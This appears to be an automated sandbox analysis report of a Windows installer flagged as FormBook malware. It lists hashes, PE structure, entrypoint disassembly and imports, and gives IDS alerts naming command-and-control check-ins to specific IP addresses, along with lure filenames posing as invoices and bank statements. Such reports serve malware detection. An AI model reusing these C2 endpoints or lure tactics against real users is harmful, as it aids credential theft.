Joe Sandbox View:	Filename: AY_Cerrahi_Aletler_A.#U015e%0%_Order_n#U00b0_23005254.exe, Detection: malicious, Browse Filename: Testifying14_OGTB.exe, Detection: malicious, Browse Filename: Musikus.exe, Detection: malicious, Browse Filename: Testifying14_OGTB.exe, Detection: malicious, Browse Filename: Musikus.exe, Detection: malicious, Browse Filename: rFactura.bat.exe, Detection: malicious, Browse Filename: z1INV-01182023.exe, Detection: malicious, Browse Filename: rFactura.bat.exe, Detection: malicious, Browse Filename: z1INV-01182023.exe, Detection: malicious, Browse Filename: Ramsay.exe, Detection: malicious, Browse Filename: Ramsay.exe, Detection: malicious, Browse Filename: Kulbrintens.bat.exe, Detection: malicious, Browse Filename: Factura.rar, Detection: malicious, Browse Filename: Kulbrintens.bat.exe, Detection: malicious, Browse Filename: EXTRACTO_BANCARIO.PDF.bat.exe, Detection: malicious, Browse Filename: EXTRACTO_BANCARIO.PDF.bat.exe, Detection: malicious, Browse Filename: L1uUC7RRH4.exe, Detection: malicious, Browse Filename: L1uUC7RRH4.exe, Detection: malicious, Browse Filename: RFQ_96673761.05..2023.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.397413296440861
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Siirtokuitti_006703.exe
File size:	638699
MD5:	917202e098f68d9b97db1a1f685e8d39
SHA1:	adebee937368f6669bce198f93d15c81d8a8bbaf
SHA256:	be84718f9896671037fcf972d60ebf25d4a13f9bd8243d56c23ec6d4a89fb580
SHA512:	554aa6b47ef058d55474163d56a9376e9ab854ffead548a49e81d645c5b341d1cad0d2dd629230d0bb9b7a5ab50a7d06139970e58b59a8175e1d24f1778460ce
SSDEEP:	12288:Uoqqqqqqqqqqqqqqqqqqqqq0qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqV:U12btwSYq4RcRDKSPtePx
TLSH:	6DD4AF93B7074167E80CA932B33B4BE369722A8F93E9417A2151F73C51726711EDF226
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....uY.................d...*.....

File Icon


Icon Hash:	b5e6c9948cc8a6c6

Static PE Info

General

Entrypoint:	0x403489
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5975952E [Mon Jul 24 06:35:26 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F67CCEC9EF3h
push ebx
call 00007F67CCECD1A1h
cmp eax, ebx
je 00007F67CCEC9EE9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F67CCECD11Bh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F67CCEC9ECCh
push 0000000Ah
call 00007F67CCECD174h
push 00000008h
call 00007F67CCECD16Dh
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F67CCECD161h
cmp eax, ebx
je 00007F67CCEC9EF1h
push 0000001Eh
call eax
test eax, eax
je 00007F67CCEC9EE9h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x43108	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63d1	0x6400	False	0.66515625	data	6.479451209065	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	False	0.45	data	5.143831732151552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	False	0.501953125	data	4.000739070159718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x35000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x43108	0x43200	False	0.18651070763500932	data	6.225267750231833	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x602b0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States
RT_ICON	0x60618	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0, resolution 19685 x 19685 px/m	English	United States
RT_DIALOG	0xa2640	0x144	data	English	United States
RT_DIALOG	0xa2788	0x13c	data	English	United States
RT_DIALOG	0xa28c8	0x100	data	English	United States
RT_DIALOG	0xa29c8	0x11c	data	English	United States
RT_DIALOG	0xa2ae8	0xc4	data	English	United States
RT_DIALOG	0xa2bb0	0x60	data	English	United States
RT_GROUP_ICON	0xa2c10	0x14	data	English	United States
RT_VERSION	0xa2c28	0x19c	data	English	United States
RT_MANIFEST	0xa2dc8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.2023.104.137.18549834802031453 05/30/23-11:12:12.677490	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49834	80	192.168.11.20	23.104.137.185
192.168.11.2084.32.84.3249805802031453 05/30/23-11:10:30.779905	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49805	80	192.168.11.20	84.32.84.32
192.168.11.20130.185.109.7749781802031412 05/30/23-11:09:09.951790	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49781	80	192.168.11.20	130.185.109.77
192.168.11.20185.106.208.349858802031412 05/30/23-11:13:32.368611	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49858	80	192.168.11.20	185.106.208.3
192.168.11.2023.104.137.18549834802031412 05/30/23-11:12:12.677490	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49834	80	192.168.11.20	23.104.137.185
192.168.11.20130.185.109.7749842802031453 05/30/23-11:12:39.001168	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49842	80	192.168.11.20	130.185.109.77
192.168.11.20130.185.109.7749781802031453 05/30/23-11:09:09.951790	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49781	80	192.168.11.20	130.185.109.77
192.168.11.20154.84.88.10849813802031449 05/30/23-11:10:58.323973	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49813	80	192.168.11.20	154.84.88.108
192.168.11.20185.106.208.349858802031453 05/30/23-11:13:32.368611	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49858	80	192.168.11.20	185.106.208.3
192.168.11.20154.84.88.10849813802031412 05/30/23-11:10:58.323973	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49813	80	192.168.11.20	154.84.88.108
192.168.11.2023.104.137.18549773802031453 05/30/23-11:08:43.535354	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.11.20	23.104.137.185
192.168.11.20154.84.88.10849813802031453 05/30/23-11:10:58.323973	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49813	80	192.168.11.20	154.84.88.108
192.168.11.20185.106.208.349797802031449 05/30/23-11:10:04.022859	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49797	80	192.168.11.20	185.106.208.3
192.168.11.20130.185.109.7749842802031412 05/30/23-11:12:39.001168	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49842	80	192.168.11.20	130.185.109.77
192.168.11.2023.104.137.18549773802031412 05/30/23-11:08:43.535354	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.11.20	23.104.137.185
192.168.11.2084.32.84.3249805802031412 05/30/23-11:10:30.779905	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49805	80	192.168.11.20	84.32.84.32
192.168.11.20130.185.109.7749781802031449 05/30/23-11:09:09.951790	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49781	80	192.168.11.20	130.185.109.77
192.168.11.20185.106.208.349858802031449 05/30/23-11:13:32.368611	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49858	80	192.168.11.20	185.106.208.3
192.168.11.201.1.1.161774532023883 05/30/23-11:07:53.444374	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	61774	53	192.168.11.20	1.1.1.1
192.168.11.20185.106.208.349797802031412 05/30/23-11:10:04.022859	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49797	80	192.168.11.20	185.106.208.3
192.168.11.2023.104.137.18549773802031449 05/30/23-11:08:43.535354	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.11.20	23.104.137.185
192.168.11.2023.104.137.18549834802031449 05/30/23-11:12:12.677490	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49834	80	192.168.11.20	23.104.137.185
192.168.11.20185.106.208.349797802031453 05/30/23-11:10:04.022859	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49797	80	192.168.11.20	185.106.208.3
192.168.11.20130.185.109.7749842802031449 05/30/23-11:12:39.001168	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49842	80	192.168.11.20	130.185.109.77
192.168.11.2084.32.84.3249805802031449 05/30/23-11:10:30.779905	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49805	80	192.168.11.20	84.32.84.32

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 30, 2023 11:06:50.945178032 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:50.945269108 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:50.945446968 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:50.972214937 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:50.972254992 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.025394917 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.025573015 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.025573015 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.026371002 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.026547909 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.099951029 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.100016117 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.101253033 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.101507902 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.105355024 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.148134947 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.327620029 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.327891111 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.327944040 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.328005075 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.328099012 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.328176975 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.329601049 CEST	49759	443	192.168.11.20	172.217.18.110
May 30, 2023 11:06:51.329662085 CEST	443	49759	172.217.18.110	192.168.11.20
May 30, 2023 11:06:51.478212118 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.478241920 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.478786945 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.479053974 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.479069948 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.525583982 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.525751114 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.525751114 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.525772095 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.526782036 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.526915073 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.526966095 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.530405998 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.530419111 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.530831099 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.531022072 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.531423092 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.572025061 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.763905048 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.764098883 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.764146090 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.764261007 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.764681101 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.764875889 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.766233921 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.766443014 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.766843081 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.767067909 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.769259930 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.769419909 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.769463062 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.769644022 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.771991968 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.772180080 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.774557114 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.774718046 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.774758101 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.774909019 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.774951935 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.775094032 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.775120974 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.775265932 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.775682926 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.775835037 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.775880098 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.776047945 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.776439905 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.776607037 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.776647091 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.776794910 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.777013063 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.777164936 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.777198076 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.777343035 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.777861118 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.777995110 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.778038979 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.778208017 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.778487921 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.778652906 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.778680086 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.778867006 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.779197931 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.779345036 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.779376030 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.779520988 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.780499935 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.780647993 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.780685902 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.780836105 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.780883074 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.781027079 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.781063080 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.781269073 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.781436920 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.781603098 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.781636953 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.781780958 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.782157898 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.782314062 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.782352924 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.782555103 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.782582998 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.782689095 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.782896042 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.783050060 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.783071041 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.783222914 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.783641100 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.783798933 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.783835888 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.783977985 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.784400940 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.784547091 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.784588099 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.784733057 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.785075903 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.785221100 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.785255909 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.785460949 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.785890102 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.786087990 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.786133051 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.786281109 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.786315918 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.786473036 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.786668062 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.786823034 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.786866903 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787012100 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787048101 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787153959 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787189007 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787334919 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787364006 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787507057 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787542105 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787739038 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787770033 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.787921906 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.787965059 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.788131952 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.788172960 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.788315058 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.788331032 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.788355112 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.788480043 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.788480043 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.788799047 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.789082050 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.789093971 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.789118052 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.789227962 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.789227962 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.789274931 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.789861917 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.789906025 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.790054083 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.790077925 CEST	443	49760	142.250.186.97	192.168.11.20
May 30, 2023 11:06:51.790232897 CEST	49760	443	192.168.11.20	142.250.186.97
May 30, 2023 11:06:51.790235043 CEST	443	49760	142.250.186.97	192.168.11.20
